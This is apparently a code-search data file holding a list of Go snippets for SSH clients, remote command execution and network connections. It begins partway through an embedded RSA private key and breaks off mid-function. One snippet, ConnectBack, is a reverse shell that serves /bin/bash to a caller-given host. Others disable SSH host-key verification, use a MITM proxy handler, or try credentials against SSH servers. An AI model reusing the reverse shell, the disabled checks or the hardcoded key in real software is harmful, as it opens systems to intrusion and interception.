bUCgYEAwxGj\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\n-----END RSA PRIVATE KEY-----`))\n\tif err != nil {\n\t\tglog.Infoln(\"Unable to parse test key :\", err)\n\t}\n\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\n\n\tauth = append(auth, ssh.PublicKeys(testSingers))\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\t//\t\tTimeout: \t\t\t60 * time.Second,\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn session, nil\n}","func formatDatabaseConnectCommand(clusterFlag string, active tlsca.RouteToDatabase) string {\n\tcmdTokens := append(\n\t\t[]string{\"tsh\", \"db\", \"connect\"},\n\t\tformatDatabaseConnectArgs(clusterFlag, active)...,\n\t)\n\treturn strings.Join(cmdTokens, \" \")\n}","func AppleHVSSH(username, identityPath, name string, sshPort int, inputArgs []string) error {\n\tsshDestination := username + \"@192.168.64.2\"\n\tport := strconv.Itoa(sshPort)\n\n\targs := []string{\"-i\", identityPath, \"-p\", port, sshDestination,\n\t\t\"-o\", \"IdentitiesOnly=yes\",\n\t\t\"-o\", \"StrictHostKeyChecking=no\", \"-o\", \"LogLevel=ERROR\", \"-o\", \"SetEnv=LC_ALL=\"}\n\tif len(inputArgs) > 0 {\n\t\targs = append(args, inputArgs...)\n\t} else {\n\t\tfmt.Printf(\"Connecting to vm %s. To close connection, use `~.` or `exit`\\n\", name)\n\t}\n\n\tcmd := exec.Command(\"ssh\", args...)\n\tlogrus.Debugf(\"Executing: ssh %v\\n\", args)\n\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdin = os.Stdin\n\n\treturn cmd.Run()\n}","func (rhost *rhostData) cmdConnectR(rec *receiveData) {\n\n\t// Replay to address we got from peer\n\trhost.teo.sendToTcd(rec.tcd, CmdNone, []byte{0})\n\n\tptr := 1 // pointer to first IP\n\tfrom := rec.rd.From() // from\n\tdata := rec.rd.Data() // received data\n\tnumIP := data[0] // number of received IPs\n\tport := int(C.getPort(unsafe.Pointer(&data[0]), C.size_t(len(data))))\n\n\t// Create data buffer to resend to peers\n\t// data structure: <0 byte> <0 byte> \n\tmakeData := func(from, addr string, port int) []byte {\n\t\tbuf := new(bytes.Buffer)\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(from))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, []byte(addr))\n\t\tbinary.Write(buf, binary.LittleEndian, byte(0))\n\t\tbinary.Write(buf, binary.LittleEndian, uint32(port))\n\t\treturn buf.Bytes()\n\t}\n\n\t// Send received IPs to this peer child(connected peers)\n\tfor i := 0; i <= int(numIP); i++ {\n\t\tvar caddr *C.char\n\t\tif i == 0 {\n\t\t\tclocalhost := append([]byte(localhostIP), 0)\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&clocalhost[0]))\n\t\t} else {\n\t\t\tcaddr = (*C.char)(unsafe.Pointer(&data[ptr]))\n\t\t\tptr += int(C.strlen(caddr)) + 1\n\t\t}\n\t\taddr := C.GoString(caddr)\n\n\t\t// Send connected(who send this command) peer local IP address and port to\n\t\t// all this host child\n\t\tfor peer, arp := range rhost.teo.arp.m {\n\t\t\tif arp.mode != -1 && peer != from {\n\t\t\t\trhost.teo.SendTo(peer, CmdConnect, makeData(from, addr, port))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Send connected(who send this command) peer IP address and port(defined by\n\t// this host) to all this host child\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.SendTo(peer, CmdConnect,\n\t\t\t\tmakeData(from, rec.tcd.GetAddr().IP.String(), rec.tcd.GetAddr().Port))\n\t\t\t// \\TODO: the discovery channel created here (issue #15)\n\t\t}\n\t}\n\n\t// Send all child IP address and port to connected(who send this command) peer\n\tfor peer, arp := range rhost.teo.arp.m {\n\t\tif arp.mode != -1 && peer != from {\n\t\t\trhost.teo.sendToTcd(rec.tcd, CmdConnect,\n\t\t\t\tmakeData(peer, arp.tcd.GetAddr().IP.String(), arp.tcd.GetAddr().Port))\n\t\t}\n\t}\n\t//teolog.Debug(MODULE, \"CMD_CONNECT_R command processed, from:\", rec.rd.From())\n\trhost.teo.com.log(rec.rd, \"CMD_CONNECT_R command processed\")\n}","func (s *SSHOrch) InitSSHConnection(alias, username, server string) {\n\tconn, err := net.Dial(\"unix\", os.Getenv(\"SSH_AUTH_SOCK\"))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer conn.Close()\n\n\tag := agent.NewClient(conn)\n\tauths := []ssh.AuthMethod{ssh.PublicKeysCallback(ag.Signers)}\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: username,\n\t\tAuth: auths,\n\t}\nrelogin:\n\tclient, err := ssh.Dial(\"tcp\", server+\":22\", config)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tsshRegister(username, server)\n\t\tgoto relogin\n\t}\n\ts.addLookup(username, server, client)\n\tif len(alias) > 0 {\n\t\ts.addLookupAlias(alias, client)\n\t}\n}","func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\n\t// find port, username, etc from .ssh/config\n\tport, err := ssh_config.GetStrict(id.Host, \"Port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuser := id.User\n\tif user == \"\" {\n\t\tif user, err = ssh_config.GetStrict(id.Host, \"User\"); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif user == \"\" {\n\t\tuser = \"root\"\n\t}\n\n\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \"StrictHostKeyChecking\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \"no\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to connect: %s\", err)\n\t}\n\n\t// Run command via session\n\tsession, err := connection.NewSession()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create session: %s\", err)\n\t}\n\n\tif opts.Tty {\n\t\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\n\t\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\n\t\tif err := session.RequestPty(\"xterm\", 40, 80, modes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to setup a TTY: %v\", err)\n\t\t}\n\t}\n\n\texecCmd := plugin.NewExecCommand(ctx)\n\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\n\n\tif opts.Elevate {\n\t\tcmd = append([]string{\"sudo\"}, cmd...)\n\t}\n\n\tcmdStr := shellquote.Join(cmd...)\n\tif err := session.Start(cmdStr); err != nil {\n\t\treturn nil, err\n\t}\n\texecCmd.SetStopFunc(func() {\n\t\t// Close the session on context cancellation. Copying will block until there's more to read\n\t\t// from the exec output. For an action with no more output it may never return.\n\t\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\n\t\tif opts.Tty {\n\t\t\tactivity.Record(ctx, \"Sent SIGINT on context termination: %v\", session.Signal(ssh.SIGINT))\n\t\t}\n\t\tactivity.Record(ctx, \"Closing session on context termination for %v: %v\", id.Host, session.Close())\n\t})\n\n\t// Wait for session to complete and stash result.\n\tgo func() {\n\t\terr := session.Wait()\n\t\tactivity.Record(ctx, \"Closing session for %v: %v\", id.Host, session.Close())\n\t\texecCmd.CloseStreamsWithError(nil)\n\t\tif err == nil {\n\t\t\texecCmd.SetExitCode(0)\n\t\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\n\t\t\texecCmd.SetExitCode(exitErr.ExitStatus())\n\t\t} else {\n\t\t\texecCmd.SetExitCodeErr(err)\n\t\t}\n\t}()\n\treturn execCmd, nil\n}","func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}","func (m *Machine) connect(conf *ssh.ClientConfig, retry, wait int64) (*ssh.Client, error) {\n\n\tif conf.Timeout == 0 {\n\t\tclient, err := ssh.Dial(\"tcp\", m.address(), conf)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not establish machine connection\")\n\t\t}\n\t\treturn client, nil\n\t}\n\n\tdeadline := conf.Timeout + (time.Duration(retry*wait) * time.Second) + (time.Duration(retry) * conf.Timeout)\n\n\tctx, cancel := context.WithTimeout(context.Background(), deadline+(1*time.Second))\n\tdefer cancel()\n\n\tch := make(chan *ssh.Client, 1)\n\tec := make(chan error, 1)\n\n\tgo func(r int64) {\n\t\tfor {\n\t\t\tclient, err := ssh.Dial(\"tcp\", m.address(), conf)\n\t\t\tif err != nil && r > 0 {\n\t\t\t\ttime.Sleep(time.Duration(wait) * time.Second)\n\t\t\t\tr--\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tec <- err\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tch <- client\n\t\t\treturn\n\t\t}\n\t}(retry)\n\n\tselect {\n\tcase c := <-ch:\n\t\treturn c, nil\n\tcase e := <-ec:\n\t\treturn nil, e\n\tcase <-ctx.Done():\n\t\treturn nil, errors.Errorf(\"Retried %v time(s) with a %v wait. No more retries!\", retry, (time.Duration(wait) * time.Second))\n\t}\n}","func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\n\t// try to acquire root permission\n\tif e.Sudo || sudo {\n\t\tcmd = fmt.Sprintf(\"sudo -H -u root bash -c \\\"%s\\\"\", cmd)\n\t}\n\n\t// set a basic PATH in case it's empty on login\n\tcmd = fmt.Sprintf(\"PATH=$PATH:/usr/bin:/usr/sbin %s\", cmd)\n\n\tif e.Locale != \"\" {\n\t\tcmd = fmt.Sprintf(\"export LANG=%s; %s\", e.Locale, cmd)\n\t}\n\n\t// run command on remote host\n\t// default timeout is 60s in easyssh-proxy\n\tif len(timeout) == 0 {\n\t\ttimeout = append(timeout, executeDefaultTimeout)\n\t}\n\n\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\n\n\tzap.L().Info(\"SSHCommand\",\n\t\tzap.String(\"host\", e.Config.Server),\n\t\tzap.String(\"port\", e.Config.Port),\n\t\tzap.String(\"cmd\", cmd),\n\t\tzap.Error(err),\n\t\tzap.String(\"stdout\", stdout),\n\t\tzap.String(\"stderr\", stderr))\n\n\tif err != nil {\n\t\tbaseErr := ErrSSHExecuteFailed.\n\t\t\tWrap(err, \"Failed to execute command over SSH for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t\tif len(stdout) > 0 || len(stderr) > 0 {\n\t\t\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \"\\n\"))\n\t\t\tbaseErr = baseErr.\n\t\t\t\tWithProperty(cliutil.SuggestionFromFormat(\"Command output on remote host %s:\\n%s\\n\",\n\t\t\t\t\te.Config.Server,\n\t\t\t\t\tcolor.YellowString(output)))\n\t\t}\n\t\treturn []byte(stdout), []byte(stderr), baseErr\n\t}\n\n\tif !done { // timeout case,\n\t\treturn []byte(stdout), []byte(stderr), ErrSSHExecuteTimedout.\n\t\t\tWrap(err, \"Execute command over SSH timedout for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t}\n\n\treturn []byte(stdout), []byte(stderr), nil\n}","func (p *Proxy) onConnect(host string, ctx *goproxy.ProxyCtx) (*goproxy.ConnectAction, string) {\n\treturn goproxy.MitmConnect, host\n}","func SendCommand(conn net.Conn, cmd string) error {\n\tlog.Debug(\"Sending command: \" + cmd)\n\tif _, err := fmt.Fprintf(conn, cmd+\"\\n\"); err != nil {\n\t\treturn err\n\t}\n\tlog.Debug(\"Command \", cmd, \" successfuly send\")\n\treturn nil\n}","func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}","func (d *Docker) Connect(r *kite.Request) (interface{}, error) {\n\tvar params struct {\n\t\t// The ID of the container. This needs to be created and started before\n\t\t// we can use Connect.\n\t\tID string\n\n\t\t// Cmd contains the command which is executed and passed to the docker\n\t\t// exec api. If empty \"bash\" is used.\n\t\tCmd string\n\n\t\tSizeX, SizeY int\n\n\t\tRemote Remote\n\t}\n\n\tif err := r.Args.One().Unmarshal(&params); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif params.ID == \"\" {\n\t\treturn nil, errors.New(\"missing arg: container ID is empty\")\n\t}\n\n\tcmd := []string{\"bash\"}\n\tif params.Cmd != \"\" {\n\t\tcmd = strings.Fields(params.Cmd)\n\t}\n\n\tcreateOpts := dockerclient.CreateExecOptions{\n\t\tContainer: params.ID,\n\t\tTty: true,\n\t\tCmd: cmd,\n\t\t// we attach to anything, it's used in the same was as with `docker\n\t\t// exec`\n\t\tAttachStdout: true,\n\t\tAttachStderr: true,\n\t\tAttachStdin: true,\n\t}\n\n\t// now we create a new Exec instance. It will return us an exec ID which\n\t// will be used to start the created exec instance\n\td.log.Info(\"Creating exec instance\")\n\tex, err := d.client.CreateExec(createOpts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// these pipes are important as we are acting as a proxy between the\n\t// Browser (client side) and Docker Deamon. For example, every input coming\n\t// from the client side is being written into inWritePipe and this input is\n\t// then read by docker exec via the inReadPipe.\n\tinReadPipe, inWritePipe := io.Pipe()\n\toutReadPipe, outWritePipe := io.Pipe()\n\n\topts := dockerclient.StartExecOptions{\n\t\tDetach: false,\n\t\tTty: true,\n\t\tOutputStream: outWritePipe,\n\t\tErrorStream: outWritePipe, // this is ok, that's how tty works\n\t\tInputStream: inReadPipe,\n\t}\n\n\t// Control characters needs to be in ISO-8859 charset, so be sure that\n\t// UTF-8 writes are translated to this charset, for more info:\n\t// http://en.wikipedia.org/wiki/Control_character\n\tcontrolSequence, err := charset.NewWriter(\"ISO-8859-1\", inWritePipe)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terrCh := make(chan error)\n\tcloseCh := make(chan bool)\n\n\tserver := &Server{\n\t\tSession: ex.ID,\n\t\tremote: params.Remote,\n\t\tout: outReadPipe,\n\t\tin: inWritePipe,\n\t\tcontrolSequence: controlSequence,\n\t\tcloseChan: closeCh,\n\t\tclient: d.client,\n\t}\n\n\tgo func() {\n\t\td.log.Info(\"Starting exec instance '%s'\", ex.ID)\n\t\terr := d.client.StartExec(ex.ID, opts)\n\t\terrCh <- err\n\n\t\t// call the remote function that we ended the session\n\t\tserver.remote.SessionEnded.Call()\n\t}()\n\n\tgo func() {\n\t\tselect {\n\t\tcase err := <-errCh:\n\t\t\tif err != nil {\n\t\t\t\td.log.Error(\"startExec error: \", err)\n\t\t\t}\n\t\tcase <-closeCh:\n\t\t\t// once we close them the underlying hijack process in docker\n\t\t\t// client package will end too, which will close the underlying\n\t\t\t// connection once it's finished/returned.\n\t\t\tinReadPipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t\tinWritePipe.CloseWithError(errors.New(\"user closed the session\"))\n\n\t\t\toutReadPipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t\toutWritePipe.CloseWithError(errors.New(\"user closed the session\"))\n\t\t}\n\t}()\n\n\tvar once sync.Once\n\n\t// Read the STDOUT from shell process and send to the connected client.\n\t// https://github.com/koding/koding/commit/50cbd3609af93334150f7951dae49a23f71078f6\n\tgo func() {\n\t\tbuf := make([]byte, (1<<12)-utf8.UTFMax, 1<<12)\n\t\tfor {\n\t\t\tn, err := server.out.Read(buf)\n\t\t\tfor n < cap(buf)-1 {\n\t\t\t\tr, _ := utf8.DecodeLastRune(buf[:n])\n\t\t\t\tif r != utf8.RuneError {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tserver.out.Read(buf[n : n+1])\n\t\t\t\tn++\n\t\t\t}\n\n\t\t\t// we need to set it for the first time. Because \"StartExec\" is\n\t\t\t// called in a goroutine and it's blocking there is now way we know\n\t\t\t// when it's ready. Therefore we set the size only once when get an\n\t\t\t// output. After that the client side is setting the TTY size with\n\t\t\t// the Server.SetSize method, that is called everytime the client\n\t\t\t// side sends a size command to us.\n\t\t\tonce.Do(func() {\n\t\t\t\t// Y is height, X is width\n\t\t\t\terr = d.client.ResizeExecTTY(ex.ID, int(params.SizeY), int(params.SizeX))\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(\"error resizing\", err)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\td.log.Debug(\"Breaking out of for loop\")\n\t}()\n\n\td.log.Debug(\"Returning server\")\n\treturn server, nil\n}","func (server *TcpServer) performCommand(conn net.Conn) {\n\tclient := server.addClient(conn)\n\tdefer server.disconnect(client)\n\tclient.Write(CommandFactoy(Welcome, \"\"))\n\tfor {\n\t\tcmd, err := client.Read()\n\t\tif err != nil {\n\t\t\tif cmd == nil || cmd.Name() == \"\" { // Client has disconnected\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"%s\", cmd.Error())\n\t\t\t\tclient.Write(cmd)\n\t\t\t}\n\t\t} else {\n\t\t\tif cmd.Name() == Quit {\n\t\t\t\terr := client.Write(cmd)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Printf(\"%s\", err)\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tclient.Write(cmd)\n\t\t\t}\n\t\t}\n\t}\n}","func sshCmds() ([]string, error) {\n\taddKeyCommand, err := config.GetString(\"docker:ssh:add-key-cmd\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tkeyFile, err := config.GetString(\"docker:ssh:public-key\")\n\tif err != nil {\n\t\tif u, err := user.Current(); err == nil {\n\t\t\tkeyFile = path.Join(u.HomeDir, \".ssh\", \"id_rsa.pub\")\n\t\t} else {\n\t\t\tkeyFile = os.ExpandEnv(\"${HOME}/.ssh/id_rsa.pub\")\n\t\t}\n\t}\n\tf, err := filesystem().Open(keyFile)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tkeyContent, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsshdPath, err := config.GetString(\"docker:ssh:sshd-path\")\n\tif err != nil {\n\t\tsshdPath = \"/usr/sbin/sshd\"\n\t}\n\treturn []string{\n\t\tfmt.Sprintf(\"%s %s\", addKeyCommand, bytes.TrimSpace(keyContent)),\n\t\tsshdPath + \" -D\",\n\t}, nil\n}","func ConnectBack(a agent.Agent, parameters []string) {\n\tvar ip = parameters[0]\n\tvar port = parameters[1]\n\n\t// Create arbitrary command.\n\tc := exec.Command(\"/bin/bash\")\n\n\t// Create TCP connection\n\tconn, _ := net.Dial(\"tcp\", ip+\":\"+port)\n\n\t// Start the command with a pty.\n\tptmx, err := pty.Start(c)\n\tif err != nil {\n\t\treturn\n\t}\n\t// Make sure to close the pty at the end.\n\tdefer func() { _ = ptmx.Close() }() // Best effort.\n\n\t// Handle pty size.\n\tch := make(chan os.Signal, 1)\n\tsignal.Notify(ch, syscall.SIGWINCH)\n\tgo func() {\n\t\tfor range ch {\n\t\t\tif err := pty.InheritSize(os.Stdin, ptmx); err != nil {\n\t\t\t\tlog.Printf(\"error resizing pty: %s\", err)\n\t\t\t}\n\t\t}\n\t}()\n\tch <- syscall.SIGWINCH // Initial resize.\n\n\t// Copy stdin to the pty and the pty to stdout.\n\tgo func() { _, _ = io.Copy(ptmx, conn) }()\n\t_, _ = io.Copy(conn, ptmx)\n\n\treturn\n}","func (s *Ssh) Connect() (*ssh.Client, error) {\n\tdialString := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\tlogger.Yellow(\"ssh\", \"Connecting to %s as %s\", dialString, s.Username)\n\n\t// We have to call PublicKey() to make sure signer is initialized\n\tPublicKey()\n\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.Username,\n\t\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\n\t}\n\tclient, err := ssh.Dial(\"tcp\", dialString, config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn client, nil\n}","func (client *SSHClient) prepareCommand(session *ssh.Session, cmd *SSHCommand) error {\n\tfor _, env := range cmd.Env {\n\t\tvariable := strings.Split(env, \"=\")\n\t\tif len(variable) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tif err := session.Setenv(variable[0], variable[1]); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif cmd.Stdin != nil {\n\t\tstdin, err := session.StdinPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stdin for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(stdin, cmd.Stdin)\n\t}\n\n\tif cmd.Stdout != nil {\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stdout for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(cmd.Stdout, stdout)\n\t}\n\n\tif cmd.Stderr != nil {\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to setup stderr for session: %v\", err)\n\t\t}\n\t\tgo io.Copy(cmd.Stderr, stderr)\n\t}\n\n\treturn nil\n}","func (c *Client) Exec(cmd string) ([]byte, error) {\n\tsession, err := c.SSHClient.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\n\treturn session.CombinedOutput(cmd)\n}","func (n *NetworkConnectCommand) runNetworkConnect(args []string) error {\n\tnetwork := args[0]\n\tcontainer := args[1]\n\tif network == \"\" {\n\t\treturn fmt.Errorf(\"network name cannot be empty\")\n\t}\n\tif container == \"\" {\n\t\treturn fmt.Errorf(\"container name cannot be empty\")\n\t}\n\n\tnetworkReq := &types.NetworkConnect{\n\t\tContainer: container,\n\t\tEndpointConfig: &types.EndpointSettings{\n\t\t\tIPAMConfig: &types.EndpointIPAMConfig{\n\t\t\t\tIPV4Address: n.ipAddress,\n\t\t\t\tIPV6Address: n.ipv6Address,\n\t\t\t\tLinkLocalIps: n.linklocalips,\n\t\t\t},\n\t\t\tLinks: n.links,\n\t\t\tAliases: n.aliases,\n\t\t},\n\t}\n\n\tctx := context.Background()\n\tapiClient := n.cli.Client()\n\terr := apiClient.NetworkConnect(ctx, network, networkReq)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Printf(\"container %s is connected to network %s\\n\", container, network)\n\n\treturn nil\n}","func tapConnect(ch *api.Channel) {\n\treq := &tap.TapConnect{\n\t\tTapName: []byte(\"testtap\"),\n\t\tUseRandomMac: 1,\n\t}\n\n\t// send the request to the request go channel\n\tch.ReqChan <- &api.VppRequest{Message: req}\n\n\t// receive a reply from the reply go channel\n\tvppReply := <-ch.ReplyChan\n\tif vppReply.Error != nil {\n\t\tfmt.Println(\"Error:\", vppReply.Error)\n\t\treturn\n\t}\n\n\t// decode the message\n\treply := &tap.TapConnectReply{}\n\terr := ch.MsgDecoder.DecodeMsg(vppReply.Data, reply)\n\n\tif err != nil {\n\t\tfmt.Println(\"Error:\", err)\n\t} else {\n\t\tfmt.Printf(\"%+v\\n\", reply)\n\t}\n}","func (this Scanner) Scan(target, cmd string, cred scanners.Credential, outChan chan scanners.Result) {\n\t// Add port 22 to the target if we didn't get a port from the user.\n\tif !strings.Contains(target, \":\") {\n\t\ttarget = target + \":22\"\n\t}\n\n\tvar config ssh.ClientConfig\n\tvar err error\n\n\t// Let's assume that we connected successfully and declare the data as such, we can edit it later if we failed\n\tresult := scanners.Result{\n\t\tHost: target,\n\t\tAuth: cred,\n\t\tMessage: \"Successfully connected\",\n\t\tStatus: true,\n\t\tOutput: \"\",\n\t}\n\n\t// Depending on the authentication type, run the correct connection function\n\tswitch cred.Type {\n\tcase \"basic\":\n\t\tconfig, err = this.prepPassConfig(cred.Account, cred.AuthData)\n\tcase \"sshkey\":\n\t\tconfig, err = this.prepCertConfig(cred.Account, cred.AuthData)\n\t}\n\n\t// Return if we got an error.\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t_, session, err := this.connect(cred.Account, target, config)\n\n\t// If we got an error, let's set the data properly\n\tif err != nil {\n\t\tresult.Message = err.Error()\n\t\tresult.Status = false\n\t}\n\n\t// If we didn't get an error and we have a command to run, let's do it.\n\tif err == nil && cmd != \"\" {\n\t\t// Execute the command\n\t\tresult.Output, err = this.executeCommand(cmd, session)\n\t\tif err != nil {\n\t\t\t// If we got an error, let's give the user some output.\n\t\t\tresult.Output = \"Script Error: \" + err.Error()\n\t\t}\n\t}\n\n\t// Finally, let's pass our result to the proper channel to write out to the user\n\toutChan <- result\n}","func sshexec(cmd string) (string, error) {\n\tout, err := exec.Command(\"ssh\", \"-T\", \"root@localhost\", cmd).CombinedOutput()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"ssh:%s error:%s\", string(out), err)\n\t}\n\treturn string(out), nil\n}","func getConn(addr string) (net.Conn, error) {\n\tswitch {\n\tdefault:\n\t\tfallthrough\n\tcase strings.Index(addr, \"tcp://\") == 0:\n\t\treturn net.DialTimeout(\"tcp\", strings.Replace(addr, \"tcp://\", \"\", -1), time.Second*30)\n\tcase strings.Index(addr, \"ssh://\") == 0:\n\t\tspec := strings.Replace(addr, \"ssh://\", \"\", -1)\n\t\t// split on the arrow\n\t\tparts := strings.SplitN(spec, \"->\", 2)\n\t\tif len(parts) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"invalid ssh connection spec; we are tunneling here\")\n\t\t}\n\n\t\tsshHost := parts[0]\n\t\ttunHost := parts[1]\n\n\t\tvar uname string\n\t\tvar sysUser *user.User\n\t\tif hu := strings.Index(sshHost, \"@\"); hu != -1 {\n\t\t\tuname = sshHost[:hu]\n\t\t\tsshHost = sshHost[hu+1:]\n\t\t} else {\n\t\t\tu, err := user.Current()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error getting current user: %s\", err)\n\t\t\t}\n\t\t\tuname = u.Username\n\t\t}\n\n\t\tvar keyCheck ssh.HostKeyCallback\n\t\tif sysUser != nil {\n\t\t\tvar err error\n\t\t\tkeyCheck, err = knownhosts.New(fmt.Sprintf(\"%s/.ssh/known_hosts\", sysUser.HomeDir))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error opening known hosts db: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tkeyCheck = ssh.InsecureIgnoreHostKey()\n\t\t}\n\n\t\tsc := &ssh.ClientConfig{\n\t\t\tUser: uname,\n\t\t\tHostKeyCallback: keyCheck,\n\t\t\tTimeout: time.Second * 30,\n\t\t\tAuth: 